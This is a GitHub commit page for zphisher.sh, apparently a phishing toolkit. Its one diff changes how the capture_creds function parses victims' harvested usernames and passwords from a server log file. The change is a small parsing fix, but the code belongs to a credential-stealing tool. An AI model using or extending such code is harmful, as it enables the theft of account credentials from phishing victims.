Skip to content

Commit

Permalink
fix whitespace #L360 {awk instead of cut}
Browse files Browse the repository at this point in the history
  • Loading branch information
htr-tech committed Mar 9, 2022
1 parent a400acf commit 0f1a751
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -356,8 +356,8 @@ capture_ip() {

## Get credentials
capture_creds() {
ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | cut -d " " -f2)
PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | cut -d ":" -f2)
ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | awk '{print $2}')
PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | awk -F ":." '{print $NF}')
IFS=$'\n'
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT"
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD"
Expand Down

0 comments on commit 0f1a751

Please sign in to comment.